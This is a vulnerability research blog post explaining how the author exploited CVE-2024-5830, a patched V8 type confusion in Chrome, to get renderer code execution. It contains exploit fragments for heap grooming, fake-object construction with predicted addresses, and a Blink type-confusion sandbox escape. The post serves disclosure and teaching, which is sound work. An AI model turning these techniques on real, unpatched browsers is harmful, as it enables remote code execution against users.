From object transition to RCE in the Chrome renderer
In this post, I’ll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.
In this post, I’ll exploit CVE-2024-5830, a type confusion bug in v8, the Javascript engine of Chrome that I reported in May 2024 as bug 342456991. The bug was fixed in version 126.0.6478.56/57. This bug allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.
Object map and map transitions in V8
This section contains some background materials in object maps and transitions that are needed to understand the vulnerability. Readers who are familiar with this can skip to the next section.
The concept of a map (or hidden class) is fairly fundamental to Javascript interpreters. It represents the memory layout of an object and is crucial in the optimization of property access. There are already many good articles that go into much more detail on this topic. I particularly recommend “JavaScript engine fundamentals: Shapes and Inline Caches” by Mathias Bynens.
A map holds an array of property descriptors (DescriptorArrays
) that contains information about each property. It also holds details about the elements of the object and its type.
Maps are shared between objects with the same property layout. For example, the following objects both have a single property a
of type SMI
(31 bit integers), so they can share the same map.
o1 = {a : 1};
o2 = {a : 10000}; //<------ same map as o1, MapA
Maps also account property types in an object. For example, the following object, o3
has a map different from o1
and o2
, because its property a
is of type double
(HeapNumber
), rather than SMI
:
o3 = {a : 1.1};
When a new property is added to an object, if a map does not already exist for the new object layout, a new map will be created.
o1.b = 1; //<------ new map with SMI properties a and b
When this happens, the old and the new map are related by a transition:
%DebugPrint(o2);
DebugPrint: 0x3a5d00049001: [JS_OBJECT_TYPE]
- map: 0x3a5d00298911
Note that the map of o2
contains a transition to another map (0x3a5d00298999
), which is the newly created map for o3
:
%DebugPrint(o3);
DebugPrint: 0x3a5d00048fd5: [JS_OBJECT_TYPE]
- map: 0x3a5d00298999 [FastProperties]
...
- All own properties (excluding elements): {
0x3a5d00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x3a5d00002b29: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
}
0x3a5d00298999: [Map] in OldSpace
- map: 0x3a5d002816d9 <MetaMap (0x3a5d00281729 )>
...
- back pointer: 0x3a5d00298911
...
Conversely, the map of o2
(0x3a5d00298911
) is stored in this new map as the back pointer. A map can store multiple transitions in a TransitionArray
. For example, if another property c
is added to o2
, then the TransitionArray
will contain two transitions, one to property b
and another to property c
:
o4 = {a : 1};
o2.c = 1;
%DebugPrint(o4);
DebugPrint: 0x2dd400049055: [JS_OBJECT_TYPE]
- map: 0x2dd400298941 [FastProperties]
- All own properties (excluding elements): {
0x2dd400002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
0x2dd400298941: [Map] in OldSpace
- map: 0x2dd4002816d9 <MetaMap (0x2dd400281729 )>
...
- transitions #2: 0x2dd400298a35 Transition array #2:
0x2dd400002b39: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd400298a0d
0x2dd400002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd4002989c9
...
When a field of type SMI
in an object is assigned a double
(HeapNumber
) value, because the SMI
type cannot hold a double
value, the map of the object needs to change to reflect this:
o1 = {a : 1};
o2 = {a : 1};
o1 = {a : 1.1};
%DebugPrint(o1);
DebugPrint: 0x1b4e00049015: [JS_OBJECT_TYPE]
- map: 0x1b4e002989a1 [FastProperties]
...
- All own properties (excluding elements): {
0x1b4e00002b19: [String] in ReadOnlySpace: #a: 0x1b4e00049041 (const data field 0), location: in-object
}
...
%DebugPrint(o2);
DebugPrint: 0x1b4e00049005: [JS_OBJECT_TYPE]
- map: 0x1b4e00298935 [FastProperties]
...
- All own properties (excluding elements): {
0x1b4e00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
0x1b4e00298935: [Map] in OldSpace
...
- deprecated_map
...
Note that, not only do o1
and o2
have different maps, but the map of o2
is also marked as deprecated
. This means that when a new object of the same property layout is created, it’ll use the map of o1
(0x1b4e002989a1
) instead of that of o2
(0x1b4e00298935
) because a more general map, the map of o1
, whose field can represent both HeapNumber
and SMI
, is now available. Moreover, the map of o2
will also be updated to the map of o1
when its properties are accessed. This is done via the UpdateImpl
function:
Handle MapUpdater::UpdateImpl() {
...
if (FindRootMap() == kEnd) return result_map_;
if (FindTargetMap() == kEnd) return result_map_;
if (ConstructNewMap() == kAtIntegrityLevelSource) {
ConstructNewMapWithIntegrityLevelTransition();
}
...
return result_map_;
}
Essentially, the function uses the back pointer
of a map
to retrace the transitions until it reaches the first map that does not have a backpointer
(the RootMap
). It then goes through the transitions from the RootMap
to check if there already exists a suitable map in the transitions that can be used for the object (FindTargetMap
). If a suitable map is found, then ConstructNewMap
will create a new map which is then used by the object.
For example, in the following case, a map with three properties becomes deprecated when the second property is assigned a HeapNumber
value:
obj = {a : 1};
obj.b = 1;
obj.c = 1; //<---- Map now has 3 SMI properties
obj.b = 1.1 //<----- original map becomes deprecated and a new map is created
In this case, two new maps are created. First a map with properties a
and b
of types SMI
and HeapNumber
respectively, then another map with three properties, a : SMI
, b : HeapNumber
and c : SMI
to accommodate the new property layout:
In the above image, the red maps become deprecated and the green maps are newly created maps. After the property assignment, obj
will be using the newly created map that has properties a
, b
and c
and the transitions to the deprecated red maps are removed and replaced by the new green transitions.
In v8, object properties can be stored in an array or in a dictionary. Objects with properties stored in an array are referred to as fast objects, while objects with properties in dictionaries are dictionary objects. Map transitions and deprecations are specific to fast objects and normally, when a map deprecation happens, another fast map is created by UpdateImpl
. This, however, is not necessarily the case. Let’s take a look at a slightly different example:
obj = {a : 1};
obj.b = 1; //<---- MapB
obj.c = 1; //<---- MapC
obj2 = {a : 1};
obj2.b = 1; //<----- MapB
obj2.b = 1.1; //<---- map of obj becomes deprecated
Assigning a HeapNumber
to obj2.b
causes both the original map of obj2
(MapB
), as well as the map of obj
(MapC
) to become deprecated. This is because the map of obj
(MapC
) is now a transition of a deprecated map (MapB
), which causes it to become deprecated as well:
As obj
now has a deprecated map, its map will be updated when any of its property is accessed:
x = obj.a; //<---- calls UpdateImpl to update the map of obj
In this case, a new map has to be created and a new transition is added to the map of obj2
. However, there is a limited number of transitions that a map can hold. Prior to adding a new transition, a check is carried out to ensure that the map can hold another transition:
MapUpdater::State MapUpdater::ConstructNewMap() {
...
if (maybe_transition.is_null() &&
!TransitionsAccessor::CanHaveMoreTransitions(isolate_, split_map)) {
return Normalize("Normalize_CantHaveMoreTransitions");
}
...
If no more transitions can be added, then a new dictionary map will be created via Normalize
.
obj = {a : 1};
obj.b = 1;
obj.c = 1;
obj2 = {a : 1};
obj2.b = 1.1; //<---- map of obj becomes deprecated
//Add transitions to the map of obj2
for (let i = 0; i < 1024 + 512; i++) {
let tmp = {a : 1};
tmp.b = 1.1;
tmp['c' + i] = 1;
}
obj.a = 1; //<----- calls UpdateImpl to update map of obj
As the map of obj2
cannot hold anymore transitions, a new dictionary map is created for obj
after its property is accessed. This behavior is somewhat unexpected, so Update
is often followed by a debug assertion to ensure that the updated map is not a dictionary map (DCHECK
is only active in a debug build):
Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map,
InternalIndex descriptor,
PropertyConstness constness,
Handle
The vulnerability
While most uses of the function PrepareForDataProperty
cannot result in a dictionary map after Update
is called, PrepareForDataProperty
can be called by CreateDataProperty
via TryFastAddDataProperty
, which may result in a dictionary map after updating. There are different paths that use CreateDataProperty
, but one particularly interesting path is in object cloning. When an object is copied using the spread syntax, a shallow copy of the original object is created:
var obj1 = {a : 1};
const clonedObj = { ...obj1 };
In this case, CreateDataProperty
is used for creating new properties in clonedObj
and to update its map when appropriate. However, if the object being cloned, obj1
contains a property accessor, then it’ll be called while the object is being cloned. For example, in the following case:
var x = {};
x.a0 = 1;
x.__defineGetter__("prop", function() {
return 1;
});
var y = {...x};
In this case, when x
is cloned into y
, the property accessor prop
in x
is called after the property a0
is copied to y
. At this point, the map of y
contains only the SMI
property a0
and it is possible for the accessor to cause the map of y
to become deprecated.
var x = {};
x.a0 = 1;
x.__defineGetter__("prop", function() {
let obj = {};
obj.a0 = 1; //<--- obj has same map as y at this point
obj.a0 = 1.5; //<--- map of y becomes deprecated
return 1;
});
var y = {...x};
When CreateDataProperty
is called to copy the property prop
, Update
in PrepareForDataProperty
is called to update the deprecated map of y
. As explained before, by adding transitions to the map of obj
in the property accessor, it is possible to cause the map update to return a dictionary map for y
. Since the subsequent use of the updated map in PrepareForDataProperty
assumes the updated map to be a fast map, rather than a dictionary map, this can corrupt the object y
in various ways.
Gaining arbitrary read and write in the v8 heap
To begin with, let’s take a look at how the updated map is used in PrepareForDataProperty
:
Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map,
InternalIndex descriptor,
PropertyConstness constness,
Handle
The updated map
is first used by UpdateDescriptorForValue
.
Handle UpdateDescriptorForValue(Isolate* isolate, Handle map,
InternalIndex descriptor,
PropertyConstness constness,
Handle
Within UpdateDescriptorForValue
the instance_descriptors
of map
are accessed. The instance_descriptors
contain information about properties in the map but it is only relevant for fast maps. For a dictionary map, it is always an empty array with zero length. Accessing instance_descriptors
of a dictionary map would therefore result in out-of-bounds (OOB) access to the empty array. In particular, the call to ReconfigureToDataField
can modify entries in the instance_descriptors
. While this may look like a promising OOB write primitive, the problem is that zero length descriptor arrays in v8 point to the empty_descriptor_array that is stored in a read-only region:
V(DescriptorArray, empty_descriptor_array, EmptyDescriptorArray)
Any OOB write to the empty_descriptor_array
is only going to write to the read-only memory region and cause a crash. To avoid this, I need to cause CanHoldValue
to return true
so that ReconfigureToDataField
is not called. In the call to CanHoldValue
, an OOB entry to the empty_descriptor_array
is read and then certain conditions are checked:
bool CanHoldValue(Tagged descriptors, InternalIndex descriptor,
PropertyConstness constness, Tagged
Although empty_descriptor_array
is stored in a read-only region and I cannot control the memory content that is behind it, the read index, descriptor,
is the array index that corresponds to the property prop
, which I can control. By changing the number of properties that precede prop
in x
, I can control the OOB read offset to the empty_descriptor_array
. This allows me to choose an appropriate offset so that the conditions in CanHoldValue
are satisfied.
While this avoids an immediate crash, it is not exactly useful as far as exploits go. So, let’s take a look at what comes next after a dictionary map is returned from PrepareForDataProperty
.
bool CanHoldValue(Tagged descriptors, InternalIndex descriptor,
PropertyConstness constness, Tagged
After the new_map
returned, its instance_descriptors
, which is the empty_descriptor_array
, is read again at offset descriptor
, and the result is used to provide another offset in a property write:
void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
Tagged
In the above, index
is encoded in the PropertyDetails
and is used in FastPropertyAtPut
to write a property in the resulting object. However, FastPropertyAtPut
assumes that the object has fast properties stored in a PropertyArray
while our object is in fact a dictionary object with properties stored in a NameDictionary
. This causes confusion between PropertyArray
and NameDictionary
, and because NameDictionary
contains a few more internal fields than PropertyArray
, writing to a NameDictionary
using an offset that is meant for a PropertyArray
can end up overwriting some internal fields in the NameDictionary
. A common way to exploit a confusion between fast and dictionary objects is to overwrite the capacity
field in the NameDictionary
, which is used for checking the bounds when the NameDictionary
is accessed (similar to the method that I used to exploit another v8 bug in this post).
However, as I cannot fully control the PropertyDetails
that comes from the OOB read of the empty_descriptor_array
, I wasn’t able to overwrite the capacity
field of the NameDictionary
. Instead, I managed to overwrite another internal field, elements
of the NameDictionary
. Although the elements
field is not normally used for property access, it is used in MigrateSlowToFast
as a bound for accessing dictionary properties:
void JSObject::MigrateSlowToFast(Handle object,
int unused_property_fields,
const char* reason) {
...
Handle iteration_order;
int iteration_length;
if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
...
} else {
...
iteration_length = dictionary->NumberOfElements(); //<---- elements field
}
...
for (int i = 0; i get(i)));
k = dictionary->NameAt(index);
value = dictionary->ValueAt(index); //DetailsAt(index);
}
...
}
...
}
In MigrateSlowToFast
, dictionary->NumberOfElements()
is used as a bound of the property offsets in a loop that accesses the property NameDictionary
. So by overwriting elements
to a large value, I can cause OOB read when the property values are read in the loop. These property values are then copied to a newly created fast object. By arranging the heap carefully, I can control the value
that is read and have it point to a fake object in the v8 heap.
In the above, the green box is the actual bounds of the NameDictionary
, however, with a corrupted elements
field, an OOB access can happen during MigrateSlowToFast
, causing it to access the value in the red box, and use it as the value of the property. By arranging the heap, I can place arbitrary values in the red box, and in particular, I can make it point to a fake object that I created.
Heap arrangement in v8 is fairly straightforward as objects are allocated linearly in the v8 heap. To place control values after the NameDictionary
, I can allocate arrays after the object is cloned and then write control values to the array entries.
var y = {...x}; //<---- NameDictionary allocated
//Placing control values after the NameDictionary
var arr = new Array(256);
for (let i = 0; i < 7; i++) {
arr[i] = new Array(256);
for (let j = 0; j < arr[i].length; j++) {
arr[i][j] = nameAddrF;
}
}
To make sure that the value I placed after the NameDictionary
points to a fake object, I need to know the address of the fake object. As I pointed out in a talk that I gave at the POC2022 conference, object addresses in v8 can be predicted reliably by simply knowing the version of Chrome. This allows me to work out the address of the fake object to use:
var dblArray = [1.1,2.2];
var dblArrayAddr = 0x4881d; //<---- address of dblArray is consistent across runs
var dblArrayEle = dblArrayAddr - 0x18;
//Creating a fake double array as an element with length 0x100
dblArray[0] = i32tof(dblArrMap, 0x725);
dblArray[1] = i32tof(dblArrayEle, 0x100);
By using the known addresses of objects and their maps, I can create both the fake object and also obtain its address.
Once the heap is prepared, I can trigger MigrateSlowToFast
to access the fake object. This can be done by first making the cloned object, y
, a prototype of another object, z
. Accessing any property of z
will then trigger MakePrototypesFast
, which calls MigrateSlowToFast
for the object y
:
var z = {};
z.__proto__ = y;
z.p; //<------ Calls MigrateSlowToFast for y
This then turns y
into a fast object, with the fake object that I prepared earlier accessible as a property of y
. A useful fake object is a fake double array with a large length
, which can then be used to cause an OOB access to its elements.
Once an OOB access to the fake double array is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps:
- First, place an
Object
Array
after the fake double array, and use the OOB read primitive in the fake double array to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object. - Place another double array,
writeArr
after the fake double array, and use the OOB write primitive in the fake double array to overwrite theelement
field ofwriteArr
to an object address. Accessing the elements ofwriteArr
then allows me to read/write to arbitrary addresses.
Thinking outside of the heap sandbox
The recently introduced v8 heap sandbox isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed.
In Chrome, Web API objects, such as the DOM
object, are implemented in Blink. Objects in Blink are allocated outside of the v8 heap and are represented as api objects in v8:
var domRect = new DOMRect(1.1,2.3,3.3,4.4);
%DebugPrint(domRect);
DebugPrint: 0x7610003484c9: [[api object] 0]
...
- embedder fields: 2
- properties: 0x7610000006f5
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: 0x7718f770b880
0, aligned pointer: 0x325d00107ca8
}
0x7610003b6985: [Map] in OldSpace
- map: 0x76100022f835 <MetaMap (0x76100022f885 )>
- type: [api object] 0
...
These objects are essentially wrappers to objects in Blink, and they contain two embedder fields
that store the locations of the actual Blink object, as well as their actual type. Although embedder fields
show up as pointer values in the DebugPrint
, because of the heap sandbox, they are not actually stored as pointers in the v8 object, but as indices to a lookup table that is protected from being modified within the v8 heap.
bool EmbedderDataSlot::ToAlignedPointer(Isolate* isolate,
void** out_pointer) const {
...
#ifdef V8_ENABLE_SANDBOX
// The raw part must always contain a valid external pointer table index.
*out_pointer = reinterpret_cast(
ReadExternalPointerField(
address() + kExternalPointerOffset, isolate));
return true;
...
}
The external look up table ensures that an embedder field
must be a valid index in the table, and also any pointer returned from reading the embedder field
must point to a valid Blink object. However, with arbitrary read and write in the v8 heap, I can still replace the embedder field
of one api object by the embedder field
of another api object that has a different type in Blink. This can then be used to cause type confusion in the Blink object.
In particular, I can cause a type confusion between a DOMRect
and a DOMTypedArray
. A DOMRect
is a simple data structure, with four properties x
, y
, width
, height
specifying its dimensions. Accessing these properties simply involves writing to and reading from the corresponding offsets in the DOMRect
Blink object. By causing a type confusion between a DOMRect
and another other Blink object, I can read and write the values of any Blink object from these offsets. In particular, by confusing a DOMRect
with a DOMTypedArray
, I can overwrite its backing_store_
pointer, which points to the data storage of the DOMTypedArray
. Changing the backing_store_
to an arbitrary pointer value and then accessing entries in the DOMTypedArray
then gives me arbitrary read and write access to the entire memory space.
To defeat ASLR and identify useful addresses in the process memory, note that each api object also contains an embedder field
that stores a pointer to the wrapper_type_info
of the Blink object. Since these wrapper_type_info
are global static objects, by confusing this embedder field
with a DOMRect
object, I can read the pointer to the wrapper_type_info
as a property in a DOMRect
. In particular, I can now read the address of the TrustedCage::base_
, which is the offset to a memory region that contains important objects such as JIT code addresses etc. I can now simply compile a JIT function, and modify the address of its JIT code to achieve arbitrary code execution.
The exploit can be found here with some setup notes.
Conclusion
In this post, I’ve looked at CVE-2024-5830, a confusion between fast and dictionary objects caused by updating of a deprecated map. Map transition and deprecation often introduces complex and subtle problems and has also led to issues that were exploited in the wild. In this case, updating a deprecated map causes it to become a dictionary map unexpectedly, and in particular, the resulting dictionary map is used by code that assumes the input to be a fast map. This allows me to overwrite an internal property of the dictionary map and eventually cause an OOB access to the dictionary. I can then use this OOB access to create a fake object, leading to arbitrary read and write of the v8 heap.
To bypass the v8 heap sandbox, I modify API objects that are wrappers of Blink objects in v8, causing type confusions in objects outside of the heap sandbox. I then leverage this to achieve arbitrary memory read and write outside of the v8 heap sandbox, and in turn arbitrary code execution in the Chrome renderer process.
Tags:
Written by
Related posts
CodeQL zero to hero part 4: Gradio framework case study
Learn how I discovered 11 new vulnerabilities by writing CodeQL models for Gradio framework and how you can do it, too.
Attacking browser extensions
Learn about browser extension security and secure your extensions with the help of CodeQL.
Cybersecurity spotlight on bug bounty researcher @adrianoapj
As we wrap up Cybersecurity Awareness Month, the GitHub Bug Bounty team is excited to feature another spotlight on a talented security researcher who participates in the GitHub Security Bug Bounty Program—@adrianoapj!